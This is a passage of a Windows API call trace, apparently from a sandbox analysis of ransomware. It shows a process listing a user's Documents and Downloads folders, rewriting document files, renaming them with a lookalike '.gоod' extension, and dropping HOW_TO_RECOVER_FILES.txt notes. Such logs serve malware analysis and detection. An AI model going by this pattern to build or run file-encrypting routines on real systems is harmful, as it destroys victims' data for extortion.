nFileSizeHigh=0x0, nFileSizeLow=0x13ac)) returned 1 [0260.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed1d0) returned 1 [0260.693] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\WuRCKzJVRTewQ.odp" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\wurckzjvrtewq.odp"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\WuRCKzJVRTewQ.odp.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\wurckzjvrtewq.odp.gоod")) returned 1 [0260.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eca70) returned 1 [0260.694] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\VKG1eq2JfzoHuZB", nBufferLength=0x105, lpBuffer=0x1f9ec510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\VKG1eq2JfzoHuZB", lpFilePart=0x0) returned 0x3e [0260.694] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\VKG1eq2JfzoHuZB\\*", lpFindFileData=0x1f9ec790 | out: lpFindFileData=0x1f9ec790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32078060, ftCreationTime.dwHighDateTime=0x1d4d51c, ftLastAccessTime.dwLowDateTime=0x961510c0, ftLastAccessTime.dwHighDateTime=0x1d4d442, ftLastWriteTime.dwLowDateTime=0x961510c0, ftLastWriteTime.dwHighDateTime=0x1d4d442, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aaa0 [0260.751] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32078060, ftCreationTime.dwHighDateTime=0x1d4d51c, ftLastAccessTime.dwLowDateTime=0x961510c0, ftLastAccessTime.dwHighDateTime=0x1d4d442, ftLastWriteTime.dwLowDateTime=0x961510c0, ftLastWriteTime.dwHighDateTime=0x1d4d442, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0260.751] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd420f230, ftCreationTime.dwHighDateTime=0x1d4c696, ftLastAccessTime.dwLowDateTime=0x33e44b60, ftLastAccessTime.dwHighDateTime=0x1d4cfa5, ftLastWriteTime.dwLowDateTime=0x33e44b60, ftLastWriteTime.dwHighDateTime=0x1d4cfa5, nFileSizeHigh=0x0, nFileSizeLow=0x18e0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="A__4fLK CH2bjKudbw.ots", cAlternateFileName="A__4FL~1.OTS")) returned 1 [0260.752] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0260.752] FindClose (in: hFindFile=0x134aaa0 | out: hFindFile=0x134aaa0) returned 1 [0260.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec9b0) returned 1 [0260.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec970) returned 1 [0260.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eca70) returned 1 [0260.752] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\VKG1eq2JfzoHuZB", nBufferLength=0x105, lpBuffer=0x1f9ec510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\VKG1eq2JfzoHuZB", lpFilePart=0x0) returned 0x3e [0260.752] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\VKG1eq2JfzoHuZB\\*", lpFindFileData=0x1f9ec790 | out: lpFindFileData=0x1f9ec790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32078060, ftCreationTime.dwHighDateTime=0x1d4d51c, ftLastAccessTime.dwLowDateTime=0x961510c0, ftLastAccessTime.dwHighDateTime=0x1d4d442, ftLastWriteTime.dwLowDateTime=0x961510c0, ftLastWriteTime.dwHighDateTime=0x1d4d442, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a8c0 [0260.752] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32078060, ftCreationTime.dwHighDateTime=0x1d4d51c, ftLastAccessTime.dwLowDateTime=0x961510c0, ftLastAccessTime.dwHighDateTime=0x1d4d442, ftLastWriteTime.dwLowDateTime=0x961510c0, ftLastWriteTime.dwHighDateTime=0x1d4d442, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0260.752] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd420f230, ftCreationTime.dwHighDateTime=0x1d4c696, ftLastAccessTime.dwLowDateTime=0x33e44b60, ftLastAccessTime.dwHighDateTime=0x1d4cfa5, ftLastWriteTime.dwLowDateTime=0x33e44b60, ftLastWriteTime.dwHighDateTime=0x1d4cfa5, nFileSizeHigh=0x0, nFileSizeLow=0x18e0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="A__4fLK CH2bjKudbw.ots", cAlternateFileName="A__4FL~1.OTS")) returned 1 [0260.752] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd420f230, ftCreationTime.dwHighDateTime=0x1d4c696, ftLastAccessTime.dwLowDateTime=0x33e44b60, ftLastAccessTime.dwHighDateTime=0x1d4cfa5, ftLastWriteTime.dwLowDateTime=0x33e44b60, ftLastWriteTime.dwHighDateTime=0x1d4cfa5, nFileSizeHigh=0x0, nFileSizeLow=0x18e0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="A__4fLK CH2bjKudbw.ots", cAlternateFileName="A__4FL~1.OTS")) returned 0 [0260.753] FindClose (in: hFindFile=0x134a8c0 | out: hFindFile=0x134a8c0) returned 1 [0260.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec9b0) returned 1 [0260.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec970) returned 1 [0260.753] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\VKG1eq2JfzoHuZB\\A__4fLK CH2bjKudbw.ots", nBufferLength=0x105, lpBuffer=0x1f9ec350, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\VKG1eq2JfzoHuZB\\A__4fLK CH2bjKudbw.ots", lpFilePart=0x0) returned 0x55 [0260.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ec820) returned 1 [0260.753] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\VKG1eq2JfzoHuZB\\A__4fLK CH2bjKudbw.ots" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\vkg1eq2jfzohuzb\\a__4flk ch2bjkudbw.ots"), fInfoLevelId=0x0, lpFileInformation=0x3809070 | out: lpFileInformation=0x3809070*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd420f230, ftCreationTime.dwHighDateTime=0x1d4c696, ftLastAccessTime.dwLowDateTime=0x33e44b60, ftLastAccessTime.dwHighDateTime=0x1d4cfa5, ftLastWriteTime.dwLowDateTime=0x33e44b60, ftLastWriteTime.dwHighDateTime=0x1d4cfa5, nFileSizeHigh=0x0, nFileSizeLow=0x18e0b)) returned 1 [0260.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec7e0) returned 1 [0260.753] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\VKG1eq2JfzoHuZB\\A__4fLK CH2bjKudbw.ots", nBufferLength=0x105, lpBuffer=0x1f9ec200, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\VKG1eq2JfzoHuZB\\A__4fLK CH2bjKudbw.ots", lpFilePart=0x0) returned 0x55 [0260.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ec720) returned 1 [0260.753] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\VKG1eq2JfzoHuZB\\A__4fLK CH2bjKudbw.ots" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\vkg1eq2jfzohuzb\\a__4flk ch2bjkudbw.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0260.753] GetFileType (hFile=0x85c) returned 0x1 [0260.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec690) returned 1 [0260.753] GetFileType (hFile=0x85c) returned 0x1 [0260.754] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ec878*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ec878*=0) returned 0x1000 [0260.754] ReadFile (in: hFile=0x85c, lpBuffer=0x38094e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ec848, lpOverlapped=0x0 | out: lpBuffer=0x38094e8*, lpNumberOfBytesRead=0x1f9ec848*=0x1000, lpOverlapped=0x0) returned 1 [0260.754] CloseHandle (hObject=0x85c) returned 1 [0260.754] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\VKG1eq2JfzoHuZB\\A__4fLK CH2bjKudbw.ots", nBufferLength=0x105, lpBuffer=0x1f9ec200, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\VKG1eq2JfzoHuZB\\A__4fLK CH2bjKudbw.ots", lpFilePart=0x0) returned 0x55 [0260.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ec720) returned 1 [0260.754] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\VKG1eq2JfzoHuZB\\A__4fLK CH2bjKudbw.ots" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\vkg1eq2jfzohuzb\\a__4flk ch2bjkudbw.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0260.754] GetFileType (hFile=0x85c) returned 0x1 [0260.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec690) returned 1 [0260.754] GetFileType (hFile=0x85c) returned 0x1 [0260.754] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ec878*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ec878*=0) returned 0x18e0b [0260.754] WriteFile (in: hFile=0x85c, lpBuffer=0x380a7b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ec768, lpOverlapped=0x0 | out: lpBuffer=0x380a7b0*, lpNumberOfBytesWritten=0x1f9ec768*=0x10, lpOverlapped=0x0) returned 1 [0260.754] CloseHandle (hObject=0x85c) returned 1 [0260.754] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\VKG1eq2JfzoHuZB\\A__4fLK CH2bjKudbw.ots", nBufferLength=0x105, lpBuffer=0x1f9ec200, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\VKG1eq2JfzoHuZB\\A__4fLK CH2bjKudbw.ots", lpFilePart=0x0) returned 0x55 [0260.755] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ec720) returned 1 [0260.755] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\VKG1eq2JfzoHuZB\\A__4fLK CH2bjKudbw.ots" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\vkg1eq2jfzohuzb\\a__4flk ch2bjkudbw.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0260.755] GetFileType (hFile=0x85c) returned 0x1 [0260.755] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec690) returned 1 [0260.755] GetFileType (hFile=0x85c) returned 0x1 [0260.755] ReadFile (in: hFile=0x85c, lpBuffer=0x380caa0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ec7f8, lpOverlapped=0x0 | out: lpBuffer=0x380caa0*, lpNumberOfBytesRead=0x1f9ec7f8*=0x1000, lpOverlapped=0x0) returned 1 [0260.781] CloseHandle (hObject=0x85c) returned 1 [0260.781] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\VKG1eq2JfzoHuZB\\A__4fLK CH2bjKudbw.ots", nBufferLength=0x105, lpBuffer=0x1f9ec200, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\VKG1eq2JfzoHuZB\\A__4fLK CH2bjKudbw.ots", lpFilePart=0x0) returned 0x55 [0260.781] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ec720) returned 1 [0260.781] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\VKG1eq2JfzoHuZB\\A__4fLK CH2bjKudbw.ots" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\vkg1eq2jfzohuzb\\a__4flk ch2bjkudbw.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0260.781] GetFileType (hFile=0x85c) returned 0x1 [0260.781] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec690) returned 1 [0260.781] GetFileType (hFile=0x85c) returned 0x1 [0260.781] WriteFile (in: hFile=0x85c, lpBuffer=0x380b7c8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ec8a8, lpOverlapped=0x0 | out: lpBuffer=0x380b7c8*, lpNumberOfBytesWritten=0x1f9ec8a8*=0x1010, lpOverlapped=0x0) returned 1 [0260.781] CloseHandle (hObject=0x85c) returned 1 [0260.781] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\VKG1eq2JfzoHuZB\\A__4fLK CH2bjKudbw.ots", nBufferLength=0x105, lpBuffer=0x1f9ec350, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\VKG1eq2JfzoHuZB\\A__4fLK CH2bjKudbw.ots", lpFilePart=0x0) returned 0x55 [0260.781] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\VKG1eq2JfzoHuZB\\A__4fLK CH2bjKudbw.ots.gоod", nBufferLength=0x105, lpBuffer=0x1f9ec350, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\VKG1eq2JfzoHuZB\\A__4fLK CH2bjKudbw.ots.gоod", lpFilePart=0x0) returned 0x5a [0260.781] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ec7e0) returned 1 [0260.781] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\VKG1eq2JfzoHuZB\\A__4fLK CH2bjKudbw.ots" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\vkg1eq2jfzohuzb\\a__4flk ch2bjkudbw.ots"), fInfoLevelId=0x0, lpFileInformation=0x1f9ec8c0 | out: lpFileInformation=0x1f9ec8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd420f230, ftCreationTime.dwHighDateTime=0x1d4c696, ftLastAccessTime.dwLowDateTime=0x33e44b60, ftLastAccessTime.dwHighDateTime=0x1d4cfa5, ftLastWriteTime.dwLowDateTime=0x97a6a6ae, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x18e1b)) returned 1 [0260.781] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec7a0) returned 1 [0260.781] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\VKG1eq2JfzoHuZB\\A__4fLK CH2bjKudbw.ots" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\vkg1eq2jfzohuzb\\a__4flk ch2bjkudbw.ots"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\VKG1eq2JfzoHuZB\\A__4fLK CH2bjKudbw.ots.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\vkg1eq2jfzohuzb\\a__4flk ch2bjkudbw.ots.gоod")) returned 1 [0260.782] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\VKG1eq2JfzoHuZB\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ec4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\VKG1eq2JfzoHuZB\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x57 [0260.782] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ec9e0) returned 1 [0260.782] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\VKG1eq2JfzoHuZB\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\vkg1eq2jfzohuzb\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a0 [0260.917] GetFileType (hFile=0x8a0) returned 0x1 [0260.917] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec950) returned 1 [0260.917] GetFileType (hFile=0x8a0) returned 0x1 [0262.643] WriteFile (in: hFile=0x8a0, lpBuffer=0x3bc1848*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ecaa8, lpOverlapped=0x0 | out: lpBuffer=0x3bc1848*, lpNumberOfBytesWritten=0x1f9ecaa8*=0x5d0, lpOverlapped=0x0) returned 1 [0262.644] CloseHandle (hObject=0x8a0) returned 1 [0262.644] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ecef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x47 [0262.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed410) returned 1 [0262.644] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a0 [0262.645] GetFileType (hFile=0x8a0) returned 0x1 [0262.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed380) returned 1 [0262.645] GetFileType (hFile=0x8a0) returned 0x1 [0262.646] WriteFile (in: hFile=0x8a0, lpBuffer=0x3bc50b0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ed4d8, lpOverlapped=0x0 | out: lpBuffer=0x3bc50b0*, lpNumberOfBytesWritten=0x1f9ed4d8*=0x5d0, lpOverlapped=0x0) returned 1 [0262.646] CloseHandle (hObject=0x8a0) returned 1 [0262.646] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x37 [0262.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0262.647] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a0 [0262.647] GetFileType (hFile=0x8a0) returned 0x1 [0262.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddb0) returned 1 [0262.647] GetFileType (hFile=0x8a0) returned 0x1 [0262.648] WriteFile (in: hFile=0x8a0, lpBuffer=0x3bc88d8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9edf08, lpOverlapped=0x0 | out: lpBuffer=0x3bc88d8*, lpNumberOfBytesWritten=0x1f9edf08*=0x5d0, lpOverlapped=0x0) returned 1 [0262.648] CloseHandle (hObject=0x8a0) returned 1 [0263.764] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x32 [0263.764] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0263.764] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\documents\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a0 [0263.765] GetFileType (hFile=0x8a0) returned 0x1 [0263.765] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0263.765] GetFileType (hFile=0x8a0) returned 0x1 [0263.766] WriteFile (in: hFile=0x8a0, lpBuffer=0x3973078*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x3973078*, lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0263.770] CloseHandle (hObject=0x8a0) returned 1 [0263.770] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0263.770] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Downloads", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Downloads", lpFilePart=0x0) returned 0x19 [0263.770] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Downloads\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc19bd8f2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc19bd8f2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aa40 [0263.770] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc19bd8f2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc19bd8f2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.771] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44137e3b, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce3d633b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0263.771] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0263.771] FindClose (in: hFindFile=0x134aa40 | out: hFindFile=0x134aa40) returned 1 [0263.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0263.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0263.771] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0263.771] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Downloads", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Downloads", lpFilePart=0x0) returned 0x19 [0263.771] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Downloads\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc19bd8f2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc19bd8f2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aa40 [0263.771] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f9ee5e0 | out: 